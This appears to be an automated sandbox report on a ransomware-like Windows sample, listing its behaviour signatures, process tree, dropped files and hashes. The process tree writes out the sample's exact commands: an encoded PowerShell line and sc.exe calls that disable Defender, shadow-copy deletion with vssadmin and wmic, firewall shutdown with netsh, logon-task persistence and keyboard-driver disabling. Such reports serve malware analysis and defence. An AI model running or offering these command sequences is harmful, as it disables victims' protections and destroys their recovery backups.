Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    21/04/2026, 06:03

General

  • Target
    guvenlernakliyat.com_2.exe
  • Size 49KB
  • Sample260421-gsbdmacv8y
  • SHA256 1e31e109416263a4230d206b14a40ddd354f0fe0a70207a1bb494ea0409fa0ea
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\guvenlernakliyat.com_2.exe
    "C:\Users\Admin\AppData\Local\Temp\guvenlernakliyat.com_2.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1008
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3896
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:716
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:2124
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:568
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:1140
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:3140
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:3036
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:3852
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3628
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2688
      • C:\Users\Admin\AppData\Local\Temp\guvenlernakliyat.com_2.exe
        "C:\Users\Admin\AppData\Local\Temp\guvenlernakliyat.com_2.exe"
        3⤵
          PID:4612
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:2008
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\guvenlernakliyat.com_2.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1308
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5296
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:3628
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3268
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5664
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:4980
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2776
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4864
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3228
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5128
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4112
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:732
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:5856
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4700
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:5308
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:380
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:2436
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\guvenlernakliyat.com_2.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4172
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
              PID:5488
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              2⤵
                PID:2324
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:1396
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:3760
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4612
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:4012
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:5724
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:2812
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:3736
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x0 /state0:0xa3a2f855 /state1:0x41c64e6d
                1⤵
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:1464
              • C:\Users\Admin\AppData\Local\Temp\guvenlernakliyat.com_2.exe
                C:\Users\Admin\AppData\Local\Temp\guvenlernakliyat.com_2.exe
                1⤵
                  PID:4908
                • C:\Users\Admin\AppData\Local\Temp\guvenlernakliyat.com_2.exe
                  C:\Users\Admin\AppData\Local\Temp\guvenlernakliyat.com_2.exe
                  1⤵
                    PID:5680
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2068

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

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                        Downloads

                        invoice_1.pdf

                        • Path C:\ProgramData\invoice_1.pdf
                        • Size 66KB
                        • SHA256 93d189453b386bc74e68b1623ce4d206df4586d8dcbbbcc8989704833425bc1f
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        doc_3.pdf

                        • Path C:\SystemVolumeInformation\doc_3.pdf
                        • Size 66KB
                        • SHA256 eeff6e46c5f47158b3011b66f16b6a0d4947ebeb39e5cfb98d24b5c293d71fc3
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        guvenlernakliyat.com_2.exe.log

                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\guvenlernakliyat.com_2.exe.log
                        • Size 660B
                        • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                        • MD5 SHA1 SHA512 TLSH

                        __PSScriptPolicyTest_xgt1h1dh.hob.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xgt1h1dh.hob.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        createshortcut.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 247B
                        • SHA256 87ed031bfa19c180df5b8719fd73958aba4df70b61d2324b4273487bcd28ff25
                        • MD5 SHA1 SHA512 TLSH

                        del.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH

                        makelnk.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 248B
                        • SHA256 6c57efe9b2fcdc757b6d261fc77990b048294c3d59b550b1c96894e315b99dc1
                        • MD5 SHA1 SHA512 TLSH

                        sysupdate.exe

                        • Path C:\Windows\System32\sysupdate.exe
                        • Size 49KB
                        • SHA256 1e31e109416263a4230d206b14a40ddd354f0fe0a70207a1bb494ea0409fa0ea
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/1008-2272-0x0000000002970000-0x000000000297C000-memory.dmp

                        memory/1008-2274-0x000000001B510000-0x000000001B520000-memory.dmp

                        memory/1008-2273-0x000000001D000000-0x000000001D012000-memory.dmp

                        memory/1008-0-0x0000000000880000-0x0000000000892000-memory.dmp

                        memory/1008-3-0x000000001DDB0000-0x000000001E2D8000-memory.dmp

                        memory/1008-2-0x000000001DBE0000-0x000000001DDA2000-memory.dmp

                        memory/1008-1-0x000000001B510000-0x000000001B520000-memory.dmp

                        memory/2008-2233-0x00000227E7E10000-0x00000227E7E1C000-memory.dmp

                        memory/2324-2260-0x0000016A31D10000-0x0000016A31D11000-memory.dmp

                        memory/3896-743-0x000001D2C6700000-0x000001D2C67B3000-memory.dmp

                        memory/3896-2246-0x000001D2C6970000-0x000001D2C697A000-memory.dmp

                        memory/3896-2245-0x000001D2C6960000-0x000001D2C6966000-memory.dmp

                        memory/3896-2244-0x000001D2C6930000-0x000001D2C6938000-memory.dmp

                        memory/3896-2237-0x000001D2C6980000-0x000001D2C699A000-memory.dmp

                        memory/3896-2259-0x000001D2C6280000-0x000001D2C6292000-memory.dmp

                        memory/3896-2258-0x000001D2ADC40000-0x000001D2ADC4C000-memory.dmp

                        memory/3896-2236-0x000001D2C6920000-0x000001D2C692A000-memory.dmp

                        memory/3896-1981-0x000001D2C6940000-0x000001D2C695C000-memory.dmp

                        memory/3896-1164-0x000001D2C67C0000-0x000001D2C67CA000-memory.dmp

                        memory/3896-715-0x000001D2C66E0000-0x000001D2C66FC000-memory.dmp

                        memory/3896-12-0x000001D2C6370000-0x000001D2C6392000-memory.dmp

                        memory/5488-2249-0x0000020688B30000-0x0000020688B3C000-memory.dmp